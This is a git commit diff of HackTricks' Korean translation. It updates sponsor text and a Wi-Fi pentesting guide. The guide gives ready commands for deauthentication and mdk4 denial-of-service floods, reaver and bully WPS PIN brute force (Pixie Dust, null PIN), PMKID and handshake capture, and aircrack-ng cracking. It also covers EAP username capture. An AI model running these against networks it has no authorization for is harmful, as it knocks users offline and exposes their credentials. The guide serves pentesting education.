Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:32:36 +00:00
parent 05fbb609ac
commit c8a867fa73
19 changed files with 490 additions and 492 deletions

View file

@ -32,7 +32,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
@ -57,7 +57,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.
지금 액세스하세요:
오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -65,15 +65,15 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
* **해킹 통찰력:** 해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
* **최신 공지사항:** 새로 출시되는 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 얻으세요.
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!**
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 최고의 해커들과 협력하세요!
***
@ -83,7 +83,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -96,7 +96,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
@ -108,11 +108,11 @@ SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 자세한 내용은 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
@ -120,7 +120,7 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의
## License & Disclaimer
그들을 확인하세요:
자세한 내용은 다음을 확인하세요:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -140,7 +140,7 @@ GCP 해킹 배우기 및 연습하기: <img src=".gitbook/assets/grte.png" alt="
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 저희를 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
* **HackTricks**([**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -26,7 +26,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
@ -75,7 +75,7 @@ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://g
### wifiphisher
Evil Twin, KARMA, 및 Known Beacons 공격을 수행할 수 있으며, 이후 피싱 템플릿을 사용하여 네트워크 실제 비밀번호를 얻거나 소셜 네트워크 자격 증명을 캡처할 수 있습니다.
Evil Twin, KARMA, 및 Known Beacons 공격을 수행할 수 있으며, 피싱 템플릿을 사용하여 네트워크 실제 비밀번호를 얻거나 소셜 네트워크 자격 증명을 캡처할 수 있습니다.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -91,23 +91,23 @@ sudo python setup.py install # Install any dependencies
* WPA-PSK인 경우
* WPS인 경우: 픽시 더스트 공격 및 브루트포스 공격 (브루트포스 공격은 시간이 오래 걸릴 수 있으니 주의). 널 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않습니다.
* AP에서 PMKID를 캡처하여 크랙 시도
* AP의 클라이언트를 비인증화하여 핸드이크 캡처 시도
* PMKID 또는 핸드이크가 있을 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
* AP의 클라이언트를 비인증화하여 핸드이크 캡처 시도
* PMKID 또는 핸드이크가 있을 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
## 공격 요약
* **DoS**
* 비인증화/비연결 -- 모든 사람(또는 특정 ESSID/클라이언트) 연결 끊기
* 랜덤 가짜 AP -- 네트워크 숨기기, 스캐너 충돌 가능
* AP 과부하 -- AP를 죽이려고 시도 (보통 그 유용하지 않음)
* WIDS -- IDS와 놀기
* AP 과부하 -- AP를 죽이려고 시도 (보통 그다지 유용하지 않음)
* WIDS -- IDS와 함께 작업
* TKIP, EAPOL -- 일부 AP에 대한 DoS 특정 공격
* **크래킹**
* **WEP** 크랙 (여러 도구 및 방법)
* **WPA-PSK**
* **WPS** 핀 "브루트포스"
* **WPA PMKID** 브루트포스
* \[DoS +] **WPA 핸드이크** 캡처 + 크래킹
* \[DoS +] **WPA 핸드이크** 캡처 + 크래킹
* **WPA-MGT**
* **사용자 이름 캡처**
* **브루트포스** 자격 증명
@ -117,7 +117,7 @@ sudo python setup.py install # Install any dependencies
* **WPA-MGT** -- 회사 자격 증명 캡처에 유용
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ 오픈** -- 캡티브 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
* **+ WPA** -- WPA 핸드이크 캡처에 유용
* **+ WPA** -- WPA 핸드이크 캡처에 유용
## DOS
@ -125,21 +125,21 @@ sudo python setup.py install # Install any dependencies
**설명은** [**여기**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**비인증화** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 해제**합니다. 이러한 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 전술은 그 단순함에서 경악할 만하며, 네트워크 보안에 중대한 영향을 미칩니다.
**비인증화** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 끊는** 방식입니다. 이러한 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 널리 사용되며 네트워크 보안에 중대한 영향을 미칩니다.
**Aireplay-ng를 사용한 비인증화**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0은 비인증을 의미합니다.
* 1은 보낼 비인증 수입니다(원하는 만큼 여러 개를 보낼 수 있습니다); 0은 계속해서 보냅니다.
* 1은 보낼 비인증 수입니다(원하는 만큼 여러 개를 보낼 수 있습니다); 0은 지속적으로 보냅니다.
* \-a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다.
* \-c 00:0F:B5:34:30:30은 비인증할 클라이언트의 MAC 주소입니다; 이 항목이 생략되면 브로드캐스트 비인증이 전송됩니다(항상 작동하지는 않음).
* ath0은 인터페이스 이름입니다.
### 비연결 패킷
**비연결 패킷**은 비인증 패킷과 유사하게 Wi-Fi 네트워크에서 사용되는 관리 프레임의 일종입니다. 이 패킷은 장치(예: 노트북 또는 스마트폰)와 액세스 포인트(AP) 간의 연결을 끊는 역할을 합니다. 비연결과 비인증의 주요 차이점은 사용 시나리오에 있습니다. AP **네트워크에서 악성 장치를 명시적으로 제거하기 위해 비인증 패킷을 방출하는 반면, 비연결 패킷은 일반적으로 AP가 종료, 재시작 또는 이동 중일 때 전송되어 모든 연결된 노드의 연결을 끊어야 합니다.**
**비연결 패킷**은 비인증 패킷과 유사하게 Wi-Fi 네트워크에서 사용되는 관리 프레임의 일종입니다. 이 패킷은 장치(예: 노트북 또는 스마트폰)와 액세스 포인트(AP) 간의 연결을 끊는 역할을 합니다. 비연결과 비인증의 주요 차이점은 사용 시나리오에 있습니다. AP **네트워크에서 악성 장치를 명시적으로 제거하기 위해 비인증 패킷을 방출하는 반면, 비연결 패킷은 일반적으로 AP가 종료, 재시작 또는 이동 중일 때 전송되어 모든 연결된 노드의 연결을 끊어야 합니다.**
**이 공격은 mdk4(mode "d")로 수행할 수 있습니다:**
```bash
@ -166,7 +166,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**ATTACK MODE a: 인증 서비스 거부**
범위 내의 모든 접근 지점(AP)에 인증 프레임을 전송하면 이러한 AP가 과부하될 수 있으며, 특히 많은 클라이언트가 관련된 경우 더욱 그렇습니다. 이러한 강한 트래픽은 시스템 불안정을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
범위 내의 모든 접근 지점(AP)에 인증 프레임을 전송하면 이러한 AP가 과부하될 수 있으며, 특히 많은 클라이언트가 관련된 경우 더욱 그렇습니다. 이 강한 트래픽은 시스템 불안정을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -186,16 +186,16 @@ Access Point (AP) 탐색은 SSID가 제대로 공개되었는지 확인하고 AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start 및 Logoff 패킷 주입**
**ATTACK MODE e: EAPOL 시작 및 로그오프 패킷 주입**
AP에 **EAPOL Start 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 합법적인 클라이언트를 차단합니다. 또는 **가짜 EAPOL Logoff 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
AP에 **EAPOL 시작 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 합법적인 클라이언트를 차단합니다. 또는 **가짜 EAPOL 로그오프 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: IEEE 802.11s 메 네트워크에 대한 공격**
**ATTACK MODE s: IEEE 802.11s 메 네트워크에 대한 공격**
네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격.
네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격.
**ATTACK MODE w: WIDS 혼란**
@ -216,14 +216,14 @@ _**Airgeddon**_은 이전 댓글에서 제안된 대부분의 공격을 제공
## WPS
WPS (Wi-Fi Protected Setup)는 장치를 라우터에 연결하는 과정을 단순화하여 **WPA** 또는 **WPA2** 개인용으로 암호화된 네트워크의 설정 속도와 용이성을 향상시킵니다. 쉽게 타협될 수 있는 WEP 보안에는 효과적이지 않습니다. WPS는 8자리 PIN을 사용하며, 두 부분으로 검증되므로 조합 수가 제한적(11,000 가능성)으로 인해 무차별 대입 공격에 취약합니다.
WPS (Wi-Fi Protected Setup)는 장치를 라우터에 연결하는 과정을 간소화하여 **WPA** 또는 **WPA2** 개인용으로 암호화된 네트워크의 설정 속도와 용이성을 향상시킵니다. 쉽게 타협될 수 있는 WEP 보안에는 효과적이지 않습니다. WPS는 8자리 PIN을 사용하며, 두 부분으로 검증되어 조합 수가 제한적이기 때문에 (11,000 가능성) 무차별 대입 공격에 취약합니다.
### WPS Bruteforce
이 작업을 수행하기 위한 두 가지 주요 도구가 있습니다: Reaver와 Bully.
* **Reaver**는 WPS에 대한 강력하고 실용적인 공격을 위해 설계되었으며, 다양한 액세스 포인트와 WPS 구현에 대해 테스트되었습니다.
* **Bully**는 C로 작성된 WPS 무차별 대입 공격의 **새로운 구현**입니다. 원래 Reaver 코드에 비해 몇 가지 장점이 있습니다: 의존성 감소, 메모리 및 CPU 성능 향상, 엔디안 처리의 정확성, 그리고 더 강력한 옵션 세트입니다.
* **Bully**는 C로 작성된 WPS 무차별 대입 공격의 **새로운 구현**입니다. 원래 Reaver 코드에 비해 몇 가지 장점이 있습니다: 의존성 감소, 메모리 및 CPU 성능 향상, 엔디안 처리의 정확성, 그리고 더 강력한 옵션 세트.
이 공격은 **WPS PIN의 취약성**을 이용하며, 특히 첫 네 자리 숫자의 노출과 마지막 숫자의 체크섬 역할이 무차별 대입 공격을 용이하게 합니다. 그러나 공격자의 MAC 주소를 차단하는 것과 같은 무차별 대입 공격에 대한 방어는 공격을 계속하기 위해 **MAC 주소 회전**을 요구합니다.
@ -234,14 +234,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**스마트 브루트 포스**
이 정제된 접근 방식은 알려진 취약점을 용하여 WPS PIN을 타겟으로 합니다:
이 정제된 접근 방식은 알려진 취약점을 용하여 WPS PIN을 타겟으로 합니다:
1. **사전 발견된 PIN**: 특정 제조업체와 연결된 알려진 PIN의 데이터베이스를 활용하여 균일한 WPS PIN을 사용하는 것으로 알려진 제조업체를 대상으로 합니다. 이 데이터베이스는 MAC 주소의 처음 세 옥텟과 이러한 제조업체에 대한 가능성 있는 PIN을 연관시킵니다.
2. **PIN 생성 알고리즘**: AP의 MAC 주소를 기반으로 WPS PIN을 계산하는 ComputePIN 및 EasyBox와 같은 알고리즘을 활용합니다. Arcadyan 알고리즘은 추가적으로 장치 ID를 요구하여 PIN 생성 과정에 추가적인 레이어를 더합니다.
### WPS 픽시 더스트 공격
**도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP)에서 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이고 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))에서 확인할 수 있습니다.
**도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP) 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이고 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))에서 확인할 수 있습니다.
간단히 말해, 문제는 일부 AP가 연결 과정에서 PIN을 암호화하기 위해 충분히 무작위적인 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있는 취약점이 생깁니다(오프라인 브루트 포스 공격).
```bash
@ -254,20 +254,20 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin 공격
일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 매우 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 상당히 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
제안된 모든 WPS 공격은 _**airgeddon.**_을 사용하여 쉽게 수행할 수 있습니다.
제안된 모든 WPS 공격은 _**airgeddon**_을 사용하여 쉽게 수행할 수 있습니다.
![](<../../.gitbook/assets/image (219).png>)
* 5와 6은 **사용자 정의 PIN**을 시도할 수 있게 해줍니다 (있다면)
* 7과 8은 **Pixie Dust 공격**을 수행합니다
* 13은 **NULL PIN**을 테스트할 수 있게 해줍니다
* 11과 12는 **사용 가능한 데이터베이스에서 선택한 AP와 관련된 PIN을 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan (추천, 왜 안 되겠습니까?)
* 11과 12는 **사용 가능한 데이터베이스에서 선택한 AP와 관련된 PIN을 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan(추천, 왜 안 되겠습니까?)
* 9와 10은 **모든 가능한 PIN을 테스트**합니다
## **WEP**
@ -278,7 +278,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -299,9 +299,9 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID
2018년, **hashcat** [새로운 공격 방법을 공개했습니다](https://hashcat.net/forum/thread-7717.html). 이 방법은 **단일 패킷**만 필요하고, 클라이언트가 대상 AP에 연결될 필요가 없다는 점에서 독특합니다—단지 공격자와 AP 간의 상호작용만 필요합니다.
2018년, **hashcat** [새로운 공격 방법을 공개했습니다](https://hashcat.net/forum/thread-7717.html). 이 방법은 **단일 패킷**만 필요하고, 클라이언트가 대상 AP에 연결될 필요가 없다는 점에서 독특합니다—공격자와 AP 간의 상호작용만 필요합니다.
많은 현대 라우터는 연결 중 **첫 번째 EAPOL** 프레임에 `Robust Security Network`로 알려진 **선택적 필드**를 추가합니다. 여기에는 `PMKID`가 포함됩니다.
많은 현대 라우터는 연결 중 첫 번째 EAPOL 프레임에 `Robust Security Network`로 알려진 **선택적 필드**를 추가합니다. 여기에는 `PMKID`가 포함됩니다.
원래 게시물에서 설명하듯이, **PMKID**는 알려진 데이터를 사용하여 생성됩니다:
```bash
@ -355,15 +355,15 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may no
```
_클라이언트가 비인증 상태가 되면 다른 AP에 연결을 시도하거나, 다른 네트워크에 연결을 시도할 수 있습니다._
`airodump-ng`에서 핸드셰이크 정보가 나타나면 이는 핸드셰이크가 캡처되었음을 의미하며, 청취를 중단할 수 있습니다:
`airodump-ng`에서 핸드쉐이크 정보가 나타나면 이는 핸드쉐이크가 캡처되었음을 의미하며, 청취를 중단할 수 있습니다:
![](<../../.gitbook/assets/image (172) (1).png>)
핸드이크가 캡처되면 `aircrack-ng`로 **크랙**할 수 있습니다:
핸드이크가 캡처되면 `aircrack-ng`로 **크랙**할 수 있습니다:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### 파일에 핸드셰이크 확인
### 파일에 핸드셰이크가 있는지 확인
**aircrack**
```bash
@ -409,7 +409,7 @@ pyrit -r psk-01.cap analyze
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)을 읽어보면 **EAP**를 사용하는 경우 **"Identity"** **메시지**가 **지원되어야** 하며, **사용자 이름**이 **"Response Identity"** 메시지에서 **명확하게** 전송된다는 것을 알 수 있습니다.
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처하는 것이 가능합니다**. 이를 위해 **인증 통신을 캡처**하고 (`airodump-ng`를 채널 내에서 시작하고 같은 인터페이스에서 `wireshark`를 실행) 패킷을 `eapol`로 필터링합니다.\
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처하는 것이 가능합니다**. 이를 위해 **인증 통신을 캡처**하고 (`airodump-ng`를 채널 내에서 시작하고 `wireshark` 동일한 인터페이스에서 실행) 패킷을 `eapol`로 필터링합니다.\
"**Response, Identity**" 패킷 내에서 클라이언트의 **사용자 이름**이 나타납니다.
![](<../../.gitbook/assets/image (850).png>)
@ -426,11 +426,11 @@ pyrit -r psk-01.cap analyze
EAP-PEAP에서는 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면, PEAP 서버가 EAP-Identity 요청을 시작하고 이를 TLS 터널을 통해 전송합니다. 클라이언트는 암호화된 터널을 통해 사용자의 실제 신원을 포함한 EAP-Identity 응답을 전송하여 이 두 번째 EAP-Identity 요청에 응답합니다. 이 접근 방식은 802.11 트래픽을 엿보는 누구에게도 사용자의 실제 신원을 드러내지 않도록 효과적으로 방지합니다.
EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언트가 일반적으로 PAP 또는 CHAP을 사용하여 TLS 터널로 보호된 인증을 수행합니다. 이 경우 클라이언트는 터널 설정 후 전송되는 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.
EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언트가 일반적으로 PAP 또는 CHAP을 사용하여 인증하며, TLS 터널로 보호됩니다. 이 경우 클라이언트는 터널 설정 후 전송되는 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.
선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 알게 됩니다. 실제 신원은 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 신원을 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 나가는 RADIUS 메시지의 User-Name 속성은 사용자의 실제 신원을 포함하며, 들어오는 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서만 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 나가는 RADIUS 메시지에 대체되어 들어오는 RADIUS 요청 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
